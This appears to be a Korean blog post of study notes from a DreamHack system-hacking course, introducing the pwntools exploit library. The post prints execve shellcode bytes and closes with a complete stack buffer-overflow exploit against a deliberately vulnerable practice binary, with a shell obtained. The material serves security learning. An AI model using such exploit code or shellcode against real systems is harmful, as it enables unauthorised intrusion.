Lecture
pwntools 설치
- 깃허브에 자세히 나와있다. (링크)
pwntools 설치 |
$ sudo apt-get update $ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential $ sudo python3 -m pip install --upgrade pip $ sudo python3 -m pip install --upgrade pwntools |
- 다음과 같이 import했을 때, 오류가 발생하지 않는다면 성공이다.
pwntools API 사용법
- pwntools는 공식 메뉴얼의 문서화가 매우 잘 되어있으므로 공식문서를 참고하는것을 추천드립니다. (링크)
process & remote
- process: 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용하는 함수이다. 보통 익스플로잇을 테스트하고 디버깅하기 위해 사용한다.
- remote: 원격 서버를 대상으로 할 때 사용하는 함수이다. 보통 대상 서버를 실제로 공격하기 위해 사용한다.
# Figure6
from pwn import *
p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com',31337) #'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행
send
- send: 데이터를 프로세스에 전송하기 위해 사용한다.
# Figure7
from pwn import *
p = process('./test')
p.send('A') # ./test에 'A'를 입력
p.sendline('A') # ./test에 'A'+'\n'을 입력
p.sendafter('hello','A') # ./test가 'hello'를 출력하면, 'A'를 입력
p.sendlineafter('hello','A') # ./test가 'hello'를 출력하면, 'A' + '\n'을 입력
recv
- recv: 프로세스에서 데이터를 받기 위해 사용한다.
<주의할점>
- recv(n): 최대 n바이트를 받는 것으로, 그 이하를 받아도 에러를 발생시키지 않는다.
- recvn(n): 정확히 n바이트를 받는 것으로, n바이트를 받을 때 까지 계속 기다린다.
# Figure8
from pwn import *
p = process('./test')
data = p.recv(1024) #p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) #p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil('hello') #p가 출력하는 데이터를 'hello'가 출력될 때까지 받아서 data에 저장
data = p.recvall() #p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장
packing & unpacking
- 어떤 값을 리틀 엔디언의 바이트 배열로 변경하거나 역의 과정을 거쳐야 할 때 사용한다.
# Figure9
#!/usr/bin/python3
#Name: pup.py
from pwn import *
s32 = 0x41424344
s64 = 0x4142434445464748
print(p32(s32))
print(p64(s64))
s32 = "ABCD"
s64 = "ABCDEFGH"
print(hex(u32(s32)))
print(hex(u64(s64)))
$ python3 pup.py
b'DCBA'
b'HGFEDCBA'
0x44434241
0x4847464544434241
interactive
- 익스플로잇의 특정 상황에 직접 ㅇ비력을 주면서 출력을 확인하고 싶을 때 사용한다.
# Figure10
from pwn import *
p = process('./test')
p.interactive()
ELF
- ELF헤더에는 익스플로잇에 사용될 수 있는 각종 정보가 기록되어있다. 이 정보를 쉽게 참조할 수 있다.
# Figure11
from pwn import *
e= ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장
context.log
- 디버그의 편의를 돕는 로깅 기능이 있다. 로그 레벨은 context.log_level변수로 조절할 수 있다.
# Figure12
from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info' # 비교적 중요한 정보들만 출력
context.arch
- 아키텍처 정보를 프로그래머가 지정할 수 있게 한다.
# Figure13
from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386" # x86 아키텍처
context.arch = "arm" # arm 아키텍처
shellcraft
- 공격에 필요한 셸 코드를 쉽게 꺼내 쓸 수 있게 해준다.
# Figure14
#!/usr/bin/python3
#Name: shellcraft.py
from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드
print(code)
$ python3 shellcraft.py
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
...
syscall
asm
- 어셈블 기능을 제공한다.
# Figure15
#!/usr/bin/python3
#Name: asm.py
from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'
code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code) # 셸 코드를 기계어로 어셈블
print(code)
$ python3 asm.py
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
rao 익스플로잇
# Figure16
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
printf("Input: ");
scanf("%s", buf);
return 0;
}
# Figure17
#!/usr/bin/python3
#Name: rao.py
from pwn import * # Import pwntools module
p = process('./rao') # Spawn process './rao'
get_shell = 0x4005a7 # Address of get_shell() is 0x4005a7
payload = b"A"*0x30 #| buf | <= "A"*0x30
payload += b"B"*0x8 #| SFP | <= "B"*0x8
payload += p64(get_shell) #| Return address | <= "\xa7\x05\x40\x00\x00\x00\x00\x00"
p.sendline(payload) # Send payload to './rao'
p.interactive() # Communicate with shell
$ python3 rao.py
[+] Starting local process './rao': pid 416
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...
Note
기능 | 설명 |
process & remote | 로컬 프로세스 또는 원격 서버의 서비스를 대상으로 익스플로잇을 수행한다. |
send & recv | 데이터를 송수신 한다. |
packing & unpacking | 정수를 바이트 배열로, 또는 바이트 배열을 정수로 변환한다. |
interactive | 프로세스 또는 서버와 터미널로 직접 통신한다. |
context.arch | 익스플로잇 대상의 아키텍처 |
context.log_level | 익스플로잇 과정에서 출력할 정보의 중요도 |
ELF | ELF헤더의 여러 중요 정보 수집한다. |
shellcraft | 다양한 셸 코드를 제공한다. |
asm | 어셈블리 코드를 기계어로 어셈블한다. |
'문제 풀이 > [DreamHack]' 카테고리의 다른 글
[DreamHack] System Hacking Stage4 - Shellcode (0) | 2022.12.24 |
---|---|
[DreamHack] System Hacking Stage3 - Tool: gdb 설치 (0) | 2022.12.21 |
[DreamHack] System Hacking Stage2 - Quiz: x86 Assembly 2 (0) | 2022.12.20 |
[DreamHack] System Hacking Stage2 - Quiz: x86 Assembly 1 (0) | 2022.12.20 |
[DreamHack] SystemHacking Stage2 - x86 Assembly: Essential Part 2 (0) | 2022.12.20 |